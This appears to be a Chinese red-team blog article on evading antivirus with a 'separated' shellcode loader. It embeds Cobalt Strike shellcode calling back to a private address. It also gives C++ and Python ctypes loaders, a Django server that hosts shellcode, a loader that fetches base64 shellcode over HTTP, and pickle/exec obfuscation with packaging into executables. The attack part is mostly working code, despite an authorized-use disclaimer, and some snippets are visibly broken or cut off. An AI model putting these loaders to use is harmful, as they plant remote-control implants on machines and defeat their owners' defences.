这是 酒仙桥六号部队 的第 121 篇文章。
全文共计21747个字,预计阅读时长55分钟。
(不要被字数和时长吓到,代码字符占了大半江山~)
前言
在日常红队行动中,为了利用目前现有的资源尝试获取更多的凭据以及更高的权限,我们通常需要先获得一台主机作为突破口,并将其作为跳板进行横向渗透。但是内网中一般部署有防火墙、流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。目前免杀技术大致分为以下几类:
-
特征码修改
-
花指令免杀
-
加壳免杀
-
内存免杀
-
二次编译
-
分离免杀
-
资源修改
-
...
本文仅以分离免杀为例,利用Python
语言制作加载器对Cobaltstrike
生成的Shellcode
进行绕过杀软作为样例,举例说明通过加密Shellcode
、分离免杀以及Python
反序列化达到bypass
的思路和方法。仅针对现有公开技术进行研究学习,方便安全人员对授权项目完成测试工作和学习交流使用,请使用者遵守当地相关法律,勿用于非授权测试。
Shellcode
在我们进行漏洞利用的过程中,必不可少的部分就是shellcode
(一段用于利用软件漏洞而执行的代码)。攻击者可以通过这段代码打开系统的shell
,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。本文重点是对加载器相应思路进行介绍,因此不对Shellcode
的编写与提取等相关技术进行展开,为方便使用,我们以Cobalt Strike
生成的Shellcode
为例,后文不在赘述。
加载Shellcode原理
加载Shellcode
的方式有很多,例如函数指针执行、内联汇编指令、伪指令等。大部分脚本语言加载Shellcode
都是通过c
的ffi
去调用操作系统的api
,如果我们了解了C
是怎么加载Shellcode
的原理,使用时只需要查询一下对应语言的调用方式即可。首先我们要明白,Shellcode
是一串可执行的二进制代码,那么我们想利用它就可以先通过其他的方法来开辟一段具有读写和执行权限的区域;然后将我们的Shellcode
放进去,之后跳转到Shellcode
的首地址去执行就可以了,利用这个思路我们可以先写一个C++
的版本,还是像上文一样生成Shellcode。
这里我们利用CobaltStrike
生成32
位的Shellcode
,正常使用像 VirtualAlloc
内存操作的函数执行Shellcode
using namespace std;
int main(int argc, char **argv)
{
unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx69x72x50x31x00x60x4bx66xa0x31xf7xfbx2axa2x41x23xa1xc6xd4x41xfdx5ax22x54x33xd4xd1x9dx04x69x9cx1bx51xc4xa3xc7x90x55x33xd1x05x53xc6xebx0ex47xb6xe4x96xeex44xc1xf0x86xe1xa1x30x57x43x12x89xb8x60xd6x82xc7xb8x39x19x47x56x18xcbx7ex93x4dxdfxebx00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x54x4dx29x0dx0ax00x14x6bx99x57x24x2fx08x8ex24x16xf9xa2x83x17xc3x76x14x58x0dx44x87x98x34x59xf8x31xc7x9exb4xf0x22xd7x93xc7x3ax38xd0x91xd0x24xeexefxebxfbx2bx94x31xb4x32xd7x90xfcxd9x18xc6xe1x3ex88x18x19x73x98x95xacxc1x99x8dx0dx38x6ax26x1ex00xcfx03xc8x5axf9xdcx1ax71x4dxcfxb8xf2xc3xe6x4ex59x2dx6bxd5xc0xcax0cx5cxc9x23x65x5ax29x71x21x8dx65x0ex8ax14x53x25xfdx19xfax9dx3dx53x9fxb1x49x90x3fx2bx40xbex55xf8x78xc6xbexecx41xaex4fx68xc2x41x23x73x57xa9x7axbcx0fx6ax0dx27x68x78xa5xf0x10xf5xd6x19xeax3cxc8x67xe2xbcx94xf3x72x56x51xc5x29x00xfexdex83x7cx2ex75xaex57x93x4axe0xb2x14x90x09xd7xd6x65x3fx72x11x9bxe5x4dx29x9bx9dxcfxaax23xaaxbcxbbx48xd7x4fxbdx35x8cx25x81xd3xa3xd0x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex31x37x37x2ex31x32x39x00x1ex4bxb5xee";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
我们编译并运行可以正常上线,并且可以正常执行命令。
Shellcode分离
我们可以利用火绒扫描一下我们上面编译好的可执行程序。
我们发现这种将Shellcode
与程序绑定的方式很容易被杀软查杀,我们可以测试一下先将Shellcode
去除,仅留下程序代码,再进行扫描。
using namespace std;
int main(int argc, char** argv)
{
unsigned char buf[] = "";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
此时由于我们已经将带有特征值的Shellcode
去除,所以在杀软视角看来,这已经是一段正常的程序,因此就不会触发相应的告警,因此,如果我们可以将Shellcode
和加载程序分离,将Shellcode
单独存放在某个地方,再由程序进行请求获得,我们也就在一定程序上绕过了杀软的检测。
Python加载Shellcode
再了解了上述加载Shellcode
的原理之后,我们就可以利用Python3
中的ctypes
库实现这一过程,ctypes
是Python
的外部函数库。它提供了与C
语言兼容的数据类型,并允许调用DLL
或共享库中的函数。可使用该模块以纯 Python
形式对这些库进行封装,我们首先利用CobaltStrike
生成64
位的Shellcode
进行测试,之后利用Python
加载Shellcode
代码如下:
import ctypes
shellcode = b""
shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x50x00x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx7ax53x4fx41x00x41x1fx44xc8xfbxc6x20xcbxecx27x47x19xcexd5x69xf7x07x34x4dx99x17xecxa3x6exe9x83xdbxd6xf9x18x1dxeexd6x10x57x41xdfxabx99x45xc1xdbx7ax2fx27xcfx23x7ax95x39xc4xddx43x40xd1x4cxd3x93xaax1cx8fx0ax61x3dxfbx9cx70xa3x27x1axb8x90x1fx00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x4dx41x41x52x4ax53x29x0dx0ax00xb0xd9x84x84xfex89x67x9ex9fxc6x68x82x75xfcxdfx8fx1fx4cxe4x3cx94x33xcbx30xaaxe2x21x77xdcx3cxc9xc4x94xcfxe1x1dxe7xe0x21x7exf2x02xedxd8x7bxf8xb5x9exe2x60xa1xa0xc9xeax2dx86xc8x9cxeexbaxd3x33xa7x58xabxc2xa8x92x4fx9bxf6xbex3cxfdx97x78xcdx3cx07x3fx0cxf2x85x6axb6xd3xdbx68x7cx74xa2xa8x23xedx5ax2fx1bxd5xbbx6bxcax1axb7x51xc1xc8x14xfcx1dxf6xd5xebx6cxb0x4cx76x4fx3bxf3xdcxabx56x95x4cx90x23x9bxddxd0xeex24xa2xf2x34x52xddx52x91x9dx33xbcx9ax1bxaax5bx75x84x65x96x38x8bx4fx96x15x7ax4cx63xd3x34x6fx21x47x74x0cxa5xe2x63x49xc3xbex61xabxe7x7cxcfxcbxedxf6x0bx02x06x0fx7bxe3x44x35x67xdcx8exc3xc3x58xb3x70xe7x89xa5xb4x4axb4x46xaexbaxd6x6bx8dx0axddx9fx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex31x37x37x2ex31x32x39x00x29x2ex55xed";
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
之后我们直接运行这个Python
脚本即可加载我们利用CobaltStrike
生成的Shellcode
,实现上线功能并可以正常执行命令。
利用加载器实现Shellcode分离
上文我们说过了,我们想绕过杀软的检测,我们可以利用分离Shellcode
和加载程序的方法,这种方法就是加载器的方法。整体流程是将我们的Shellcode
与程序进行分离,而上传到目标的可执行程序仅作为一个类似于下载器的程序使用,例如我们可以搭建一个Http Server
,之后构造我们的Shellcode
页面,再由本地加载器访问页面地址,获取页面的Shellcode
内容,之后加载并执行,流程类似于下图。
HttpServer
首先我们需要构造我们的HttpServer
,我们这里利用Django
实现这一过程。我们整体大致流程就是我们通过一个前端页面将我们CobaltStrike
生成的Shellcode
保存到数据库中,Django
后端利用UUID
生成一个基于时间戳的随机字符串,并且保存到hash_md5
字段中,之后我们再构造一个Shellcode
读取的页面,该页面根据URL
中的hash_md5
去查询数据库中对应的Shellcode
并且展示到该页面上,例如我们再数据库中有如下数据。
我们访问如下链接即可查看我们保存的Shellcode
http://evil.com/shellcode/9adef1ca-151b-11eb-b767-5c80b6fea32f
Models
首先我们定义如下数据模型。
class Shellcode(models.Model):
id = models.AutoField(primary_key=True)
hash_md5 = models.CharField(max_length = 200)
shellcode = models.TextField()
pub_date = models.DateTimeField(default=timezone.now)
class Meta:
ordering = ('-pub_date',)
def __str__(self):
return self.shellcode
字段含义如下:
字段名称 | 备注 |
---|---|
id | 自增主键ID |
hash_md5 | 利用UUID生成的随机字符串,方便后续进行URL生成 |
shellcode | shellcode内容 |
pub_date | 生成时间 |
Views
def showshellcode(request, hash_md5):
shellcode = Shellcode.objects.get(hash_md5 = hash_md5)
try:
if shellcode != None:
return render(request, 'shellcode.html', locals())
except:
return redirect('/')
Urls
from django.contrib import admin
from django.urls import path
from auto_antiav_app.views import homepage,showshellcode
urlpatterns = [
path('admin/', admin.site.urls),
path('', homepage),
path('shellcode/<str:hash_md5>', showshellcode),
]
这样我们就可以通过控制URL
中的shellcode/
后面的部分,也就是shellcode
来调用不同的Shellcode
了,而且由于我们Shellcode
是由自己放置在我们的HttpServer
上,我们也可以进行进一步处理。比如对Shellcode
进行混淆编码加密,再有本地可执行程序进行解密执行,这里我们以Base64
编码处理为例,处理过后Shellcode
页面如下。
当然我们也可以将我们的Shellcode
隐藏在图片等载体中。
下载Shellcode并加载执行
当我们构建好HttpServer
后,我们就可以通过Python
中的urllib.request
访问我们的HttpServer
对Shellcode
进行获取,由于我们上文对Shellcode
进行了base64
编码处理,所以我们本地获取到后Shellcode
后在进行解码即可。
import ctypes,urllib.request,base64,codecs,pickle
shellcode = urllib.request.urlopen('http://192.168.177.1:8000/shellcode/96f431cc-1b8c-11eb-8a21-5c80b6fea32f').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
这样我们的可执行程序便与Shellcode
进行了分离,直接运行Python
文件可以上线并正常调用命令。
反序列化
但是这个时候如果我们通过pyinstaller
将我们的程序打包成可执行程序,我们会发现火绒仍然对其进行了查杀。
这是因为我们使用的加载器本身关键语句已经被检测,因此我们需要对其进行进一步处理从而绕过静态查杀,我们绕过的方式可以通过上文说过的混淆、编码、加密等方式对代码进行处理,然后进行调用执行。但是像执行命令的exec
、eval
等函数特征比较明显,所以我们对它也需要进一步处理,而同其它语言一样,Python
也有序列化的功能,官方库里提供了pickle/cPickle
的库用于序列化和反序列化,pickle
可以序列化python
的任何数据结构,包括一个类,一个对象。
import pickle
class A(object):
a = 1
b = 2
def run(self):
print(self.a,self.b)
print(pickle.dumps(A()))
如果之前了解过Python Pickle
反序列化带来的安全问题相关内容,我们就可以知道如果这里的run()
函数时自动执行的我们就可以通过反序列化过程来进行一个调用过程,与PHP
中的__wakeup
类似,Python
中也有类似的方法可以使其在被反序列化的时候执行,这里以__reduce__
为例。
import pickle
class A(object):
a = 1
b = 2
def __reduce__(self):
return (print, (self.a+self.b,))
print(pickle.dumps(A()))
接下来我们就可以通过pickle
的loads
来反序列化并自动执行。
import pickle
ret = b'x80x03cbuiltinsnprintnqx00Kx03x85qx01Rqx02.'
pickle.loads(ret)
我们可以看到我们已经将我们的a+b
自动输出了(这里也可以提示我们,pickle
的loads
参数如果可以被控制,我们就可以进行利用)。但是我们可以看到,从代码中我们还是可以看到调用的关键函数名称,我们这里可以对其进行混淆、编码操作,依旧以Base64
编码为例,我们序列化代码如下:
import pickle
import base64
class A(object):
a = 1
b = 2
def __reduce__(self):
return (print, (self.a+self.b,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
接下来我们只需要进行反序列化调用之前先进行解码操作即可。
import pickle
import base64
ret = b'gANjYnVpbHRpbnMKcHJpbnQKcQBLA4VxAVJxAi4='
ret_decode = base64.b64decode(ret)
pickle.loads(ret_decode)
例如我们刚才的获取Shellcode
的代码就可以通过序列化以及Base64
编码进行处理。
import pickle
import base64
import urllib.request,codecs
class A(object):
shellcode = urllib.request.urlopen('http://192.168.177.1:8000/shellcode/96f431cc-1b8c-11eb-8a21-5c80b6fea32f').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
def __reduce__(self):
return (bytearray, (self.shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
之后我们按照上文中的代码进行解码以及反序列化操作即可。
import ctypes,urllib.request,base64,codecs,pickle
ret = b'gANjYnVpbHRpbnMKYnl0ZWFycmF5CnEAQn4DAAD8SIPk8OjIAAAAQVFBUFJRVkgx0mVIi1JgSItSGEiLUiBIi3JQSA+3SkpNMclIMcCsPGF8AiwgQcHJDUEBweLtUkFRSItSIItCPEgB0GaBeBgLAnVyi4CIAAAASIXAdGdIAdBQi0gYRItAIEkB0ONWSP/JQYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18UwDTCQIRTnRddhYRItAJEkB0GZBiwxIRItAHEkB0EGLBIhIAdBBWEFYXllaQVhBWUFaSIPsIEFS/+BYQVlaSIsS6U////9dagBJvndpbmluZXQAQVZJieZMifFBukx3Jgf/1UgxyUgx0k0xwE0xyUFQQVBBujpWeaf/1etzWkiJwUG4UAAAAE0xyUFRQVFqA0FRQbpXiZ/G/9XrWVtIicFIMdJJidhNMclSaAACQIRSUkG661UuO//VSInGSIPDUGoKX0iJ8UiJ2knHwP////9NMclSUkG6LQYYe//VhcAPhZ0BAABI/88PhIwBAADr0+nkAQAA6KL///8vaDR0TQBOtow2xHK7wSzablrH8sILCWEF3JaqlzYKne4Uc6OdpgFcCQc1Y5VZEBDldNfmfIrjnKQrAOPGbhpM5EhjD13C86eoYQ2AhRJ4AFVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMDsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjA0NTA2LjMwKQ0KAIuGH7HH3HjXZ5BSv8NiFhxfReksLk9o6MrExU9a1JtFE1Je6QmO7ZlnIpw8q27ZfuGJlKCD07Fc9lm0YU6AEYiEQYzTBRNRlkp4F9ENgFDiju78OmPbpR0/9yLWzntzmVjZfDzHRuKHalDZGtYoB9cWWrY30DoesJXMN4x30512L0kTwC22513bsfKRj4fir8h0YGoQukoCrC1Nqy/tvfhYapT+7CWMgdbmnx9zBIBpW7f1bJf13BIgbnbTtW7H4OepigBBvvC1olb/1UgxyboAAEAAQbgAEAAAQblAAAAAQbpYpFPl/9VIk1NTSInnSInxSInaQbgAIAAASYn5QboSloni/9VIg8QghcB0tmaLB0gBw4XAdddYWFhIBQAAAABQw+if/f//MTkyLjE2OC4xNzcuMTI5AASaz8txAYVxAlJxAy4='
shellcode = pickle.loads(base64.b64decode(ret))
print(repr(shellcode))
如上所示,我们已经在代码中无法看到相应的urllib.request
的特征,但是这里有一个问题就是后面我们有一些申请内存的操作,但是会遇到一些序列化闭包的问题,这里我们可以使用eval()
函数来继续实现。
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
例如我们想实现一个启动计算器的程序,我们首先生成还是按上文序列化并进行编码。
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return(eval,("os.system('calc.exe')",))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
接下来进行反序列化和解码操作。
import pickle
import base64
import os
ret = b'gANjYnVpbHRpbnMKZXZhbApxAFgVAAAAb3Muc3lzdGVtKCdjYWxjLmV4ZScpcQGFcQJScQMu'
ret_decode = base64.b64decode(ret)
pickle.loads(ret_decode)
但是eval()
在执行多行的时候会有缩进问题,如果使用这种方式我们需要将加载器的代码每一行都单独执行,代码可以查看参考链接5
中的代码,我们这里为了避免这一问题,使用exec()
exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。
这样,我们就可以通过我们的例如异或、编码等混淆方式,绕过杀软的检测,了解了以上内容,我们就可以进行我们的免杀测试了,我们将我们上文中加载器代码利用exec()
进行序列化并且进行编码。
import pickle
import base64
shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.177.1:8000/shellcode/96f431cc-1b8c-11eb-8a21-5c80b6fea32f').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.c_uint64 =
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""
class A(object):
def __reduce__(self):
return(exec,(shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
之后我们就可以进行解码以及反序列化操作。
import base64,pickle
shellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFhfBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAogCnNoZWxsY29kZSA9IHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xOTIuMTY4LjE3Ny4xOjgwMDAvc2hlbGxjb2RlLzk2ZjQzMWNjLTFiOGMtMTFlYi04YTIxLTVjODBiNmZlYTMyZicpLnJlYWQoKQpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKc2hlbGxjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShzaGVsbGNvZGUpWzBdCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMg6K6+572uVmlydHVhbEFsbG9j6L+U5Zue57G75Z6L5Li6Y3R5cGVzLmNfdWludDY0CmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKIyDnlLPor7flhoXlrZgKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQogCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'
pickle.loads(base64.b64decode(shellcode))
从代码层面来讲,杀软视角的代码仅能看到是一段正常的Base64
解码以及反序列化的脚本文件,也就达到了我们Bypass
的目的,运行脚本我们可正常上线以及执行命令。
打包成可执行程序
上文我们构建了我们的Python
文件,但是利用起来需要目标环境支持Python
以及相应的库文件支持,因此我们可以将我们的Python
脚本打包成可执行程序来解决这些环境问题,打包方法有很多,例如pyinstaller
或者py2exe
,具体安装方法这里不在赘述, 这里我们使用不同的打包程序,最后免杀的效果也不太一样,部分杀软对打包程序本身就加入了特征检测。
Pyinstaller
例如我们使用pyinsataller
进行打包上述evil.py
,目标靶机无Python
及相应的库环境,正常上线并可执行命令。
pyinstaller --noconsole --onefile evil.py -i 8.ico
检测结果如下:
这里后续我又进行了测试,部分杀软对Pyinstaller
打包的程序检测较为敏感,即使是仅打包类似于仅仅print(1)
这种代码也会触发相同的检测结果。
Py2exe
例如我们使用py2exe
进行打包上述evil.py
,目标靶机无Python
及相应的库环境,正常上线并可执行命令。
from distutils.core import setup
import py2exe
setup(
options={
'py2exe': {
'optimize': 2,
'bundle_files': 1,
'compressed': True,
},
},
windows=[{"script": "evil.py", "icon_resources": [(1, "8.ico")]}],
zipfile=None,
)
使用如下命令进行打包。
python setup.py py2exe
这里需要注意的是,如果使用py2exe
进行打包,我们evil.py
中要将所有用到的包(包括我们编码中的代码)写在文件开头,即:
import base64,pickle,ctypes,urllib.request,codecs
shellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFhfBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAogCnNoZWxsY29kZSA9IHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xOTIuMTY4LjE3Ny4xOjgwMDAvc2hlbGxjb2RlLzk2ZjQzMWNjLTFiOGMtMTFlYi04YTIxLTVjODBiNmZlYTMyZicpLnJlYWQoKQpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKc2hlbGxjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShzaGVsbGNvZGUpWzBdCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMg6K6+572uVmlydHVhbEFsbG9j6L+U5Zue57G75Z6L5Li6Y3R5cGVzLmNfdWludDY0CmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKIyDnlLPor7flhoXlrZgKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQogCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi